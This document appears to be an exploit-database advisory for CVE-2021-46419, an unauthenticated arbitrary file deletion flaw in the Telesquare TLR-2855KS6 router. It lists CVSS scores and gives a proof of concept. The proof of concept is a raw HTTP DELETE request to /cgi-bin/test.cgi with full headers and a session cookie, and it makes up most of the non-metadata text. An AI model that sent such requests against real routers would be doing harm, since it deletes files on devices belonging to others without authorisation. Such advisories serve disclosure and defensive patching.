Telesquare TLR-2855KS6 Arbitrary File Deletion

2022.04.11

Credit: Momen Eldawakhly

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2021-46419

CWE: CWE-863

CVSS Base Score: 6.4/10

Impact Subscore: 4.9/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: Telesquare TLR-2855KS6 - Arbitrary File Deletion
# Date: 7/4/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy)
# Vendor Homepage: http://www.telesquare.co.kr/
# Version: TLR-2855KS6
# Tested on: Linux [Firefox]
# CVE : CVE-2021-46419

# Proof of Concept

DELETE /cgi-bin/test.cgi HTTP/1.1
Host: 192.168.1.5
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 438
Origin: http://192.168.1.5
DNT: 1
Connection: close
Referer: http://192.168.1.5/
Cookie: nonce=16426923592222

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Telesquare TLR-2855KS6 Arbitrary File Deletion

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